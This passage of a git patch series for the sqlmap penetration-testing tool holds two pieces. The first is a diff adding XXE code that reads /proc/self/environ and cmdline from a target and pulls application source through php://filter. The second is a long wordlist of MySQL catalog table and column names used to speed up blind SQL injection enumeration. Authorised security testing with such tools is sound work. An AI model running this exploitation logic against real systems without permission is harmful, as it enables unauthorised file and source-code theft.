names, and + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP + target. Returns a list of (path, content, payload).""" + + if not _phpFilterWorks(xml, rootName): + return [] + + byPath = dict((p, c) for p, c, _ in harvested) + seen = set(getUnicode(c).strip() for c in byPath.values()) + candidates = [] + + dirs = [] + environ = getUnicode(byPath.get("/proc/self/environ", "")) + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) + cwd = match.group(1).strip() if match else None + if cwd: + dirs.append(cwd) + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] + + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) + for token in re.split(r"[\x00\s]+", cmdline): + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): + if token.startswith("/"): + candidates.append(token) # absolute script path + elif cwd: + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) + + for directory in dirs: + for name in XXE_SOURCE_NAMES: + candidates.append("%s/%s" % (directory.rstrip("/"), name)) + + logger.info("attempting application source-code disclosure via php://filter") + + result = [] + read = set() + for path in candidates: + if path in read: + continue + read.add(path) + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip() and getUnicode(content).strip() not in seen: + seen.add(getUnicode(content).strip()) + result.append((path, content, payload)) + return result + + def _tryInternal(xml, rootName, baseline): """T2 in-band: an internal general entity expands to the sentinel and is reflected. Guarded by a negative control (sentinel absent from baseline) and @@ -716,7 +789,9 @@ def xxeScan(): if harvested: found = True firstPath, _, firstPayload = harvested[0] - logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + # follow-up: server-side application source disclosure (php://filter) + harvested += _harvestSource(xml, rootName, harvested) + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) saved = [] for path, content, _ in harvested: From 50ff3debe54100f6413ecb755e1d6eff2715675f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 12:02:22 +0200 Subject: [PATCH 688/853] General boolean inference improvements --- data/txt/catalog-identifiers.txt | 13792 ++++++++++++++++++++++++++++ data/txt/common-outputs.txt | 1476 --- data/txt/sha256sums.txt | 22 +- lib/core/common.py | 63 +- lib/core/option.py | 11 +- lib/core/optiondict.py | 1 - lib/core/settings.py | 53 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 3 - lib/request/inject.py | 155 + lib/techniques/blind/inference.py | 405 +- plugins/generic/databases.py | 69 +- plugins/generic/entries.py | 87 +- 13 files changed, 14508 insertions(+), 1631 deletions(-) create mode 100644 data/txt/catalog-identifiers.txt delete mode 100644 data/txt/common-outputs.txt diff --git a/data/txt/catalog-identifiers.txt b/data/txt/catalog-identifiers.txt new file mode 100644 index 00000000000..3d49680a51f --- /dev/null +++ b/data/txt/catalog-identifiers.txt @@ -0,0 +1,13792 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission +# +# Real DBMS system/catalog table and column identifiers, grouped in [] sections (the section +# name matches a lib.core.enums.DBMS value). Used to warm a per-DBMS character-level Markov model that +# drives Huffman set-membership retrieval during blind table/column NAME enumeration (see +# lib/techniques/blind/inference.py::getHuffmanPrior); the fingerprinted back-end's section is loaded +# at run time. Not used for whole-value wordlist matching. + +[MySQL] +Abbreviation +ACCESS_MODE +ACCESS_TIME +account_locked +accounts +ACTION_CONDITION +ACTION_ORDER +ACTION_ORIENTATION +ACTION_REFERENCE_NEW_ROW +ACTION_REFERENCE_NEW_TABLE +ACTION_REFERENCE_OLD_ROW +ACTION_REFERENCE_OLD_TABLE +ACTION_STATEMENT +ACTION_TIMING +ACTIVE_SINCE +ADMINISTRABLE_ROLE_AUTHORIZATIONS +allocated +ALLOCATED_SIZE +Alter_priv +Alter_routine_priv +APPLICABLE_ROLES +APPLYING_TRANSACTION +APPLYING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +APPLYING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_RETRIES_COUNT +APPLYING_TRANSACTION_START_APPLY_TIMESTAMP +argument +Assign_gtids_to_anonymous_transactions_type +Assign_gtids_to_anonymous_transactions_value +ATTRIBUTE +ATTR_NAME +ATTR_VALUE +authentication_string +AUTOCOMMIT +AUTOEXTEND_SIZE +AUTOINC +AUTO_INCREMENT +auto_increment_ratio +AUTO_POSITION +AVG_COUNT +AVG_COUNT_RESET +avg_latency +avg_read +AVG_ROW_LENGTH +avg_rows_sorted +avg_sort_merges +AVG_STATEMENTS_WAIT +AVG_TIMER_DELETE +AVG_TIMER_EXECUTE +AVG_TIMER_FETCH +AVG_TIMER_INSERT +AVG_TIMER_MISC +AVG_TIMER_READ +AVG_TIMER_READ_EXTERNAL +AVG_TIMER_READ_HIGH_PRIORITY +AVG_TIMER_READ_NO_INSERT +AVG_TIMER_READ_NORMAL +AVG_TIMER_READ_ONLY +AVG_TIMER_READ_WITH_SHARED_LOCKS +AVG_TIMER_READ_WRITE +AVG_TIMER_UPDATE +AVG_TIMER_WAIT +AVG_TIMER_WRITE +AVG_TIMER_WRITE_ALLOW_WRITE +AVG_TIMER_WRITE_CONCURRENT_INSERT +AVG_TIMER_WRITE_EXTERNAL +AVG_TIMER_WRITE_LOW_PRIORITY +AVG_TIMER_WRITE_NORMAL +avg_tmp_tables_per_query +avg_us +avg_write +avg_written +BACKEND_KEY_ID +BASE_POS +binary_log_transaction_compression_stats +Bind +BLOCK_ID +blocking_account +BLOCKING_ENGINE_LOCK_ID +BLOCKING_ENGINE_TRANSACTION_ID +BLOCKING_EVENT_ID +blocking_lock_duration +blocking_lock_id +blocking_lock_mode +blocking_lock_type +BLOCKING_OBJECT_INSTANCE_BEGIN +blocking_pid +blocking_query +BLOCKING_THREAD_ID +blocking_trx_age +blocking_trx_id +blocking_trx_rows_locked +blocking_trx_rows_modified +blocking_trx_started +BLOCK_OPS_IN +BLOCK_OPS_OUT +BUCKET_NUMBER +BUCKET_QUANTILE +BUCKET_TIMER_HIGH +BUCKET_TIMER_LOW +buffer_pool_instance +CARDINALITY +CATALOG_NAME +CHANNEL +Channel_name +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CLIENT +CHARACTER_SET_NAME +CHARACTER_SETS +CHECK_CLAUSE +CHECK_CONSTRAINTS +CHECK_OPTION +Checkpoint_group_bitmap +Checkpoint_group_size +Checkpoint_master_log_name +Checkpoint_master_log_pos +Checkpoint_relay_log_name +Checkpoint_relay_log_pos +Checkpoint_seqno +CHECKSUM +CHECK_TIME +clustered_index_size +CLUST_INDEX_SIZE +cnt +COLLATION +COLLATION_CHARACTER_SET_APPLICABILITY +COLLATION_CONNECTION +COLLATION_NAME +COLLATIONS +COLUMN_COMMENT +COLUMN_DEFAULT +COLUMN_KEY +COLUMN_NAME +Column_priv +COLUMN_PRIVILEGES +COLUMNS +COLUMNS_EXTENSIONS +columns_priv +COLUMN_STATISTICS +COLUMN_TYPE +COMMAND +command_type +COMMENT +component +component_group_id +component_id +component_urn +COMPRESSED +COMPRESSED_BYTES_COUNTER +COMPRESSED_SIZE +COMPRESSION_ALGORITHM +COMPRESSION_PERCENTAGE +COMPRESSION_TYPE +compress_ops +compress_ops_ok +compress_time +cond_instances +Configuration +CONFIGURED_BY +CONNECTION_RETRY_COUNT +CONNECTION_RETRY_INTERVAL +CONNECTION_TYPE +Connect_retry +conn_id +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONSTRAINT_TYPE +CONSUMER_LEVEL +CONTEXT_INVOLUNTARY +CONTEXT_VOLUNTARY +CONTROLLED_MEMORY +CONVERSION_FACTOR +Correction +cost_name +cost_value +COUNT +COUNT_ADDRINFO_PERMANENT_ERRORS +COUNT_ADDRINFO_TRANSIENT_ERRORS +COUNT_ALLOC +COUNT_AUTHENTICATION_ERRORS +COUNT_AUTH_PLUGIN_ERRORS +COUNT_BUCKET +COUNT_BUCKET_AND_LOWER +COUNT_CONFLICTS_DETECTED +COUNT_DEFAULT_DATABASE_ERRORS +COUNT_DELETE +COUNTER +COUNT_EXECUTE +COUNT_FCRDNS_ERRORS +COUNT_FETCH +COUNT_FORMAT_ERRORS +COUNT_FREE +COUNT_HANDSHAKE_ERRORS +COUNT_HOST_ACL_ERRORS +COUNT_HOST_BLOCKED_ERRORS +COUNT_INIT_CONNECT_ERRORS +COUNT_INSERT +COUNT_LOCAL_ERRORS +COUNT_MAX_USER_CONNECTIONS_ERRORS +COUNT_MAX_USER_CONNECTIONS_PER_HOUR_ERRORS +COUNT_MISC +COUNT_NAMEINFO_PERMANENT_ERRORS +COUNT_NAMEINFO_TRANSIENT_ERRORS +COUNT_NO_AUTH_PLUGIN_ERRORS +COUNT_PROXY_USER_ACL_ERRORS +COUNT_PROXY_USER_ERRORS +COUNT_READ +COUNT_READ_EXTERNAL +COUNT_READ_HIGH_PRIORITY +COUNT_READ_NO_INSERT +COUNT_READ_NORMAL +COUNT_READ_ONLY +COUNT_READ_WITH_SHARED_LOCKS +COUNT_READ_WRITE +COUNT_RECEIVED_HEARTBEATS +COUNT_REPREPARE +COUNT_RESET +COUNT_SECONDARY +COUNT_SSL_ERRORS +COUNT_STAR +COUNT_STATEMENTS +COUNT_TRANSACTIONS_CHECKED +COUNT_TRANSACTIONS_IN_QUEUE +COUNT_TRANSACTIONS_LOCAL_PROPOSED +COUNT_TRANSACTIONS_LOCAL_ROLLBACK +COUNT_TRANSACTIONS_REMOTE_APPLIED +COUNT_TRANSACTIONS_REMOTE_IN_APPLIER_QUEUE +COUNT_TRANSACTIONS_RETRIES +COUNT_TRANSACTIONS_ROWS_VALIDATING +COUNT_UNKNOWN_ERRORS +COUNT_UPDATE +COUNT_WRITE +COUNT_WRITE_ALLOW_WRITE +COUNT_WRITE_CONCURRENT_INSERT +COUNT_WRITE_EXTERNAL +COUNT_WRITE_LOW_PRIORITY +COUNT_WRITE_NORMAL +cpu_latency +CPU_SYSTEM +CPU_TIME +CPU_USER +CREATED +CREATED_TMP_DISK_TABLES +CREATED_TMP_TABLES +CREATE_OPTIONS +Create_priv +Create_role_priv +Create_routine_priv +Create_tablespace_priv +CREATE_TIME +Create_tmp_table_priv +Create_user_priv +Create_view_priv +CREATION_TIME +current_alloc +current_allocated +current_avg_alloc +CURRENT_CONNECTIONS +current_count +CURRENT_COUNT_USED +current_max_alloc +current_memory +CURRENT_NUMBER_OF_BYTES_USED +CURRENT_SCHEMA +current_statement +DATA +DATABASE_COLLATION +database_name +DATABASE_PAGES +DATA_FREE +DATA_LENGTH +data_locks +data_lock_waits +DATA_SIZE +DATA_TYPE +DATETIME_PRECISION +db +DB +DEFAULT_CHARACTER_SET_NAME +DEFAULT_COLLATE_NAME +DEFAULT_COLLATION_NAME +DEFAULT_ENCRYPTION +DEFAULT_ROLE_HOST +default_roles +DEFAULT_ROLE_USER +DEFAULT_VALUE +DEFINER +DEFINITION +DELETED_ROWS +delete_latency +Delete_priv +DELETE_RULE +deletes +DESCRIPTION +DESIRED_DELAY +device_type +DIGEST +DIGEST_TEXT +disk_tmp_tables +dl +DOC_COUNT +DOC_ID +DOCUMENTATION +dominant_index_columns +dominant_index_name +dominant_index_non_unique +Drop_priv +Drop_role_priv +DTD_IDENTIFIER +DURATION +enabled +Enabled_auto_position +ENABLED_ROLES +Enabled_ssl +ENCRYPTION +END_EVENT_ID +END_LSN +ENDS +ENFORCED +ENGINE +ENGINE_ATTRIBUTE +engine_cost +ENGINE_LOCK_ID +engine_name +ENGINES +ENGINE_TRANSACTION_ID +epoch +err_count +ERROR_CODE +error_handling +error_log +ERROR_NAME +ERROR_NUMBER +error_pct +ERRORS +event +EVENT_BODY +EVENT_CATALOG +event_class +EVENT_COMMENT +EVENT_DEFINITION +EVENT_ID +EVENT_MANIPULATION +EVENT_NAME +EVENT_OBJECT_CATALOG +EVENT_OBJECT_SCHEMA +EVENT_OBJECT_TABLE +Event_priv +events +EVENTS +EVENT_SCHEMA +events_errors_summary_by_account_by_error +events_errors_summary_by_host_by_error +events_errors_summary_by_thread_by_error +events_errors_summary_by_user_by_error +events_errors_summary_global_by_error +events_stages_current +events_stages_history +events_stages_history_long +events_stages_summary_by_account_by_event_name +events_stages_summary_by_host_by_event_name +events_stages_summary_by_thread_by_event_name +events_stages_summary_by_user_by_event_name +events_stages_summary_global_by_event_name +events_statements_current +events_statements_histogram_by_digest +events_statements_histogram_global +events_statements_history +events_statements_history_long +events_statements_summary_by_account_by_event_name +events_statements_summary_by_digest +events_statements_summary_by_host_by_event_name +events_statements_summary_by_program +events_statements_summary_by_thread_by_event_name +events_statements_summary_by_user_by_event_name +events_statements_summary_global_by_event_name +events_transactions_current +events_transactions_history +events_transactions_history_long +events_transactions_summary_by_account_by_event_name +events_transactions_summary_by_host_by_event_name +events_transactions_summary_by_thread_by_event_name +events_transactions_summary_by_user_by_event_name +events_transactions_summary_global_by_event_name +events_waits_current +events_waits_history +events_waits_history_long +events_waits_summary_by_account_by_event_name +events_waits_summary_by_host_by_event_name +events_waits_summary_by_instance +events_waits_summary_by_thread_by_event_name +events_waits_summary_by_user_by_event_name +events_waits_summary_global_by_event_name +event_time +EVENT_TYPE +example +exec_count +exec_secondary_count +EXECUTE_AT +Execute_priv +EXECUTION_ENGINE +EXPRESSION +EXTENT_SIZE +EXTERNAL_LANGUAGE +EXTERNAL_LOCK +EXTERNAL_NAME +EXTRA +fetch_latency +File +FILE_ID +file_instances +file_io_latency +file_ios +FILE_NAME +File_priv +FILES +FILE_SIZE +file_summary_by_event_name +file_summary_by_instance +FILE_TYPE +FILTER_NAME +FILTER_RULE +FIRST_DOC_ID +FIRST_ERROR_SEEN +FIRST_SEEN +FIRST_TRANSACTION_COMPRESSED_BYTES +FIRST_TRANSACTION_ID +FIRST_TRANSACTION_TIMESTAMP +FIRST_TRANSACTION_UNCOMPRESSED_BYTES +FIX_COUNT +FLAG +FLAGS +FLUSH_TYPE +FOR_COL_NAME +FOR_NAME +FREE_BUFFERS +FREE_EXTENTS +FREE_PAGE_CLOCK +FREQUENCY +FROM_HOST +FROM_USER +FS_BLOCK_SIZE +full_scan +full_scans +FULLTEXT_KEYS +func +gci +general_log +GENERATION_EXPRESSION +GEOMETRY_TYPE_NAME +Get_public_key +global_grants +global_status +global_variables +GRANTEE +GRANTEE_HOST +GRANTOR +GRANTOR_HOST +Grant_priv +GROUP_NAME +GTID +gtid_executed +Gtid_only +gtid_tag +HAS_DEFAULT +Heartbeat +HEARTBEAT_INTERVAL +help_category +help_category_id +help_keyword +help_keyword_id +help_relation +help_topic +help_topic_id +high_alloc +high_avg_alloc +high_count +HIGH_COUNT_USED +HIGH_NUMBER_OF_BYTES_USED +HISTOGRAM +HISTORY +HIT_RATE +HOST +host_cache +hosts +host_summary +host_summary_by_file_io +host_summary_by_file_io_type +host_summary_by_stages +host_summary_by_statement_latency +host_summary_by_statement_type +HOST_VALIDATED +ID +Ignored_server_ids +index_columns +INDEX_COMMENT +INDEX_ID +INDEX_LENGTH +INDEX_NAME +Index_priv +INDEX_SCHEMA +INDEX_TYPE +INFO +INITIAL_SIZE +innodb_buffer_allocated +innodb_buffer_data +innodb_buffer_free +INNODB_BUFFER_PAGE +INNODB_BUFFER_PAGE_LRU +innodb_buffer_pages +innodb_buffer_pages_hashed +innodb_buffer_pages_old +INNODB_BUFFER_POOL_STATS +innodb_buffer_rows_cached +innodb_buffer_stats_by_schema +innodb_buffer_stats_by_table +INNODB_CACHED_INDEXES +INNODB_CMP +INNODB_CMPMEM +INNODB_CMPMEM_RESET +INNODB_CMP_PER_INDEX +INNODB_CMP_PER_INDEX_RESET +INNODB_CMP_RESET +INNODB_COLUMNS +INNODB_DATAFILES +INNODB_FIELDS +INNODB_FOREIGN +INNODB_FOREIGN_COLS +INNODB_FT_BEING_DELETED +INNODB_FT_CONFIG +INNODB_FT_DEFAULT_STOPWORD +INNODB_FT_DELETED +INNODB_FT_INDEX_CACHE +INNODB_FT_INDEX_TABLE +INNODB_INDEXES +innodb_index_stats +innodb_lock_waits +INNODB_METRICS +innodb_redo_log_files +INNODB_SESSION_TEMP_TABLESPACES +INNODB_TABLES +INNODB_TABLESPACES +INNODB_TABLESPACES_BRIEF +innodb_table_stats +INNODB_TABLESTATS +INNODB_TEMP_TABLE_INFO +INNODB_TRX +INNODB_VIRTUAL +insert_id +insert_latency +Insert_priv +inserts +INSTANT_COLS +INSTRUMENTED +INSUFFICIENT_PRIVILEGES +INTERNAL_LOCK +international +interval_end +INTERVAL_FIELD +interval_start +INTERVAL_VALUE +io_by_thread_by_latency +IO_FIX +io_global_by_file_by_bytes +io_global_by_file_by_latency +io_global_by_wait_by_bytes +io_global_by_wait_by_latency +io_latency +io_misc_latency +io_misc_requests +io_read +io_read_latency +io_read_requests +ios +io_write +io_write_latency +io_write_requests +IP +IS_COMPILED +IS_DEFAULT +IS_DETERMINISTIC +Is_DST +IS_FULL +IS_GRANTABLE +IS_HASHED +IS_MANDATORY +IS_NULLABLE +ISOLATION_LEVEL +IS_OLD +is_signed +IS_STALE +is_unsigned +IS_UPDATABLE +IS_VISIBLE +KEY +KEY_COLUMN_USAGE +KEY_ID +KEY_OWNER +keyring_component_status +keyring_keys +KEYWORDS +LAST_ACCESS_TIME +LAST_ALTERED +LAST_APPLIED_TRANSACTION +LAST_APPLIED_TRANSACTION_END_APPLY_TIMESTAMP +LAST_APPLIED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +LAST_APPLIED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_RETRIES_COUNT +LAST_APPLIED_TRANSACTION_START_APPLY_TIMESTAMP +LAST_CONFLICT_FREE_TRANSACTION +LAST_DOC_ID +LAST_ERROR_MESSAGE +LAST_ERROR_NUMBER +LAST_ERROR_SEEN +LAST_ERROR_TIMESTAMP +LAST_EXECUTED +LAST_HEARTBEAT_TIMESTAMP +last_insert_id +LAST_PROCESSED_TRANSACTION +LAST_PROCESSED_TRANSACTION_END_BUFFER_TIMESTAMP +LAST_PROCESSED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_START_BUFFER_TIMESTAMP +LAST_QUEUED_TRANSACTION +LAST_QUEUED_TRANSACTION_END_QUEUE_TIMESTAMP +LAST_QUEUED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_START_QUEUE_TIMESTAMP +LAST_SEEN +last_statement +last_statement_latency +LAST_TRANSACTION_COMPRESSED_BYTES +LAST_TRANSACTION_ID +LAST_TRANSACTION_TIMESTAMP +LAST_TRANSACTION_UNCOMPRESSED_BYTES +last_update +LAST_UPDATE_TIME +last_wait +last_wait_latency +latency +latest_file_io +LEN +LOAD_OPTION +LOCAL +LOCK_DATA +LOCK_DURATION +LOCKED_BY_THREAD_ID +locked_index +locked_table +locked_table_name +locked_table_partition +locked_table_schema +locked_table_subpartition +locked_type +lock_latency +LOCK_MODE +LOCK_STATUS +Lock_tables_priv +lock_time +LOCK_TYPE +LOGFILE_GROUP_NAME +LOGFILE_GROUP_NUMBER +LOGGED +log_status +LOG_TYPE +LOW_COUNT_USED +LOW_NUMBER_OF_BYTES_USED +LRU_IO_CURRENT +LRU_IO_TOTAL +LRU_POSITION +Managed_name +Managed_type +Master_compression_algorithm +Master_log_name +Master_log_pos +Master_zstd_compression_level +MATCH_OPTION +max_connections +MAX_CONTROLLED_MEMORY +MAX_COUNT +MAX_COUNT_RESET +MAX_DATA_LENGTH +MAXIMUM_SIZE +max_latency +MAXLEN +max_questions +MAX_SESSION_CONTROLLED_MEMORY +MAX_SESSION_TOTAL_MEMORY +MAX_STATEMENTS_WAIT +MAX_TIMER_DELETE +MAX_TIMER_EXECUTE +MAX_TIMER_FETCH +MAX_TIMER_INSERT +MAX_TIMER_MISC +MAX_TIMER_READ +MAX_TIMER_READ_EXTERNAL +MAX_TIMER_READ_HIGH_PRIORITY +MAX_TIMER_READ_NO_INSERT +MAX_TIMER_READ_NORMAL +MAX_TIMER_READ_ONLY +MAX_TIMER_READ_WITH_SHARED_LOCKS +MAX_TIMER_READ_WRITE +MAX_TIMER_UPDATE +MAX_TIMER_WAIT +MAX_TIMER_WRITE +MAX_TIMER_WRITE_ALLOW_WRITE +MAX_TIMER_WRITE_CONCURRENT_INSERT +MAX_TIMER_WRITE_EXTERNAL +MAX_TIMER_WRITE_LOW_PRIORITY +MAX_TIMER_WRITE_NORMAL +MAX_TOTAL_MEMORY +max_updates +max_user_connections +MAX_VALUE +MEMBER_COMMUNICATION_STACK +MEMBER_HOST +MEMBER_ID +MEMBER_PORT +MEMBER_ROLE +MEMBER_STATE +MEMBER_VERSION +memory_by_host_by_current_bytes +memory_by_thread_by_current_bytes +memory_by_user_by_current_bytes +memory_global_by_current_bytes +memory_global_total +memory_summary_by_account_by_event_name +memory_summary_by_host_by_event_name +memory_summary_by_thread_by_event_name +memory_summary_by_user_by_event_name +memory_summary_global_by_event_name +memory_tmp_tables +MERGE_THRESHOLD +MESSAGES_RECEIVED +MESSAGES_SENT +MESSAGE_TEXT +metadata_locks +METER +metrics +METRIC_TYPE +MIN_COUNT +MIN_COUNT_RESET +min_latency +MIN_STATEMENTS_WAIT +MIN_TIMER_DELETE +MIN_TIMER_EXECUTE +MIN_TIMER_FETCH +MIN_TIMER_INSERT +MIN_TIMER_MISC +MIN_TIMER_READ +MIN_TIMER_READ_EXTERNAL +MIN_TIMER_READ_HIGH_PRIORITY +MIN_TIMER_READ_NO_INSERT +MIN_TIMER_READ_NORMAL +MIN_TIMER_READ_ONLY +MIN_TIMER_READ_WITH_SHARED_LOCKS +MIN_TIMER_READ_WRITE +MIN_TIMER_UPDATE +MIN_TIMER_WAIT +MIN_TIMER_WRITE +MIN_TIMER_WRITE_ALLOW_WRITE +MIN_TIMER_WRITE_CONCURRENT_INSERT +MIN_TIMER_WRITE_EXTERNAL +MIN_TIMER_WRITE_LOW_PRIORITY +MIN_TIMER_WRITE_NORMAL +MIN_VALUE +misc_latency +MISSING_BYTES_BEYOND_MAX_MEM_SIZE +MODIFIED_COUNTER +MODIFIED_DATABASE_PAGES +MTYPE +mutex_instances +MYSQL_ERRNO +mysql_version +NAME +N_CACHED_PAGES +N_COLS +ndb_binlog_index +NESTING_EVENT_ID +NESTING_EVENT_LEVEL +NESTING_EVENT_TYPE +NETWORK_INTERFACE +Network_namespace +NEWEST_MODIFICATION +next_file +next_position +N_FIELDS +NODEGROUP +NO_GOOD_INDEX_USED +no_good_index_used_count +NO_INDEX_USED +no_index_used_count +no_index_used_pct +NON_UNIQUE +NOT_YOUNG_MAKE_PER_THOUSAND_GETS +n_rows +NULLABLE +NUMBER_OF_BYTES +Number_of_lines +NUMBER_OF_RELEASE_SAVEPOINT +NUMBER_OF_ROLLBACK_TO_SAVEPOINT +NUMBER_OF_SAVEPOINTS +Number_of_workers +NUMBER_PAGES_CREATED +NUMBER_PAGES_GET +NUMBER_PAGES_READ +NUMBER_PAGES_READ_AHEAD +NUMBER_PAGES_WRITTEN +NUMBER_READ_AHEAD_EVICTED +NUMBER_RECORDS +NUMERIC_PRECISION +NUMERIC_SCALE +NUM_ROWS +NUM_TYPE +OBJECT_INSTANCE_BEGIN +OBJECT_NAME +OBJECT_SCHEMA +objects_summary_global_by_type +OBJECT_TYPE +Offset +OLD_DATABASE_PAGES +OLDEST_MODIFICATION +ON_COMPLETION +OPEN_COUNT +OPERATION +OPTIMIZER_TRACE +OPTIONS +ORDINAL_POSITION +ORGANIZATION +ORGANIZATION_COORDSYS_ID +orig_epoch +ORIGINATOR +orig_server_id +OTHER_INDEX_SIZE +Owner +OWNER_EVENT_ID +OWNER_OBJECT_NAME +OWNER_OBJECT_SCHEMA +OWNER_OBJECT_TYPE +OWNER_THREAD_ID +PACKED +PAD_ATTRIBUTE +PAGE_FAULTS_MAJOR +PAGE_FAULTS_MINOR +PAGE_NO +PAGE_NUMBER +pages +PAGES_CREATE_RATE +pages_free +pages_hashed +page_size +PAGES_MADE_NOT_YOUNG_RATE +PAGES_MADE_YOUNG +PAGES_MADE_YOUNG_RATE +PAGES_NOT_MADE_YOUNG +pages_old +PAGES_READ_RATE +PAGE_STATE +pages_used +PAGES_WRITTEN_RATE +PAGE_TYPE +PARAMETER_MODE +PARAMETER_NAME +PARAMETERS +PARAMETER_STYLE +parent_category_id +PARENT_THREAD_ID +PARTITION_COMMENT +PARTITION_DESCRIPTION +PARTITION_EXPRESSION +PARTITION_METHOD +PARTITION_NAME +PARTITION_ORDINAL_POSITION +PARTITIONS +Password +password_expired +password_history +password_last_changed +password_lifetime +Password_require_current +Password_reuse_history +Password_reuse_time +Password_timestamp +PATH +PENDING_DECOMPRESS +PENDING_FLUSH_LIST +PENDING_FLUSH_LRU +PENDING_READS +percentile +performance_timers +persisted_variables +pid +plugin +PLUGIN_AUTHOR +PLUGIN_DESCRIPTION +PLUGIN_LIBRARY +PLUGIN_LIBRARY_VERSION +PLUGIN_LICENSE +PLUGIN_NAME +PLUGINS +PLUGIN_STATUS +PLUGIN_TYPE +PLUGIN_TYPE_VERSION +PLUGIN_VERSION +POOL_ID +POOL_SIZE +Port +POS +POSITION +POSITION_IN_UNIQUE_CONSTRAINT +prepared_statements_instances +PRIO +priority +PRIV +Privilege_checks_hostname +PRIVILEGE_CHECKS_USER +Privilege_checks_username +PRIVILEGES +PRIVILEGE_TYPE +PROCESSING_TRANSACTION +PROCESSING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_START_BUFFER_TIMESTAMP +processlist +PROCESSLIST +PROCESSLIST_COMMAND +PROCESSLIST_DB +PROCESSLIST_HOST +PROCESSLIST_ID +PROCESSLIST_INFO +PROCESSLIST_STATE +PROCESSLIST_TIME +PROCESSLIST_USER +Process_priv +Proc_priv +procs_priv +PROFILING +program_name +progress +PROPERTIES +PROPERTY +Proxied_host +Proxied_user +proxies_priv +PRTYPE +ps_check_lost_instrumentation +Public_key_path +PURPOSE +QUANTILE_95 +QUANTILE_99 +QUANTILE_999 +QUERY +QUERY_ID +QUERY_SAMPLE_SEEN +QUERY_SAMPLE_TEXT +QUERY_SAMPLE_TIMER_WAIT +query_time +QUEUEING_TRANSACTION +QUEUEING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_START_QUEUE_TIMESTAMP +READ_AHEAD_EVICTED_RATE +READ_AHEAD_RATE +read_latency +READ_LOCKED_BY_COUNT +RECEIVED_TRANSACTION_SET +RECOVER_TIME +redundant_index_columns +redundant_index_name +redundant_index_non_unique +REF_COL_NAME +REF_COUNT +REFERENCED_COLUMN_NAME +REFERENCED_TABLE_NAME +REFERENCED_TABLE_SCHEMA +References_priv +REFERENTIAL_CONSTRAINTS +REF_NAME +Relay_log_name +Relay_log_pos +Reload_priv +relocation_ops +relocation_time +REMAINING_DELAY +Repl_client_priv +REPLICATION +replication_applier_configuration +replication_applier_filters +replication_applier_global_filters +replication_applier_status +replication_applier_status_by_coordinator +replication_applier_status_by_worker +replication_asynchronous_connection_failover +replication_asynchronous_connection_failover_managed +replication_connection_configuration +replication_connection_status +replication_group_configuration_version +replication_group_member_actions +replication_group_members +replication_group_member_stats +Repl_slave_priv +requested +REQUESTING_ENGINE_LOCK_ID +REQUESTING_ENGINE_TRANSACTION_ID +REQUESTING_EVENT_ID +REQUESTING_OBJECT_INSTANCE_BEGIN +REQUESTING_THREAD_ID +Require_row_format +Require_table_primary_key_check +RESERVED +RESOURCE_GROUP +RESOURCE_GROUP_ENABLED +RESOURCE_GROUP_NAME +RESOURCE_GROUPS +RESOURCE_GROUP_TYPE +ret +Retry_count +RETURNED_SQLSTATE +ROLE +ROLE_COLUMN_GRANTS +role_edges +ROLE_HOST +ROLE_NAME +ROLE_ROUTINE_GRANTS +ROLE_TABLE_GRANTS +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COMMENT +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +ROW_FORMAT +ROWS_AFFECTED +rows_affected_avg +rows_cached +rows_deleted +rows_examined +rows_examined_avg +rows_fetched +rows_full_scanned +rows_inserted +rows_selected +rows_sent +rows_sent_avg +rows_sorted +rows_updated +rwlock_instances +sample_size +SAVEPOINTS +schema_auto_increment_columns +schema_index_statistics +SCHEMA_NAME +schema_object_overview +schemaops +SCHEMA_PRIVILEGES +schema_redundant_indexes +SCHEMATA +schema_table_lock_waits +schema_table_statistics +schema_table_statistics_with_buffer +schema_tables_with_full_table_scans +SCHEMATA_EXTENSIONS +schema_unused_indexes +SECONDARY_ENGINE_ATTRIBUTE +SECURITY_TYPE +SELECT_FULL_JOIN 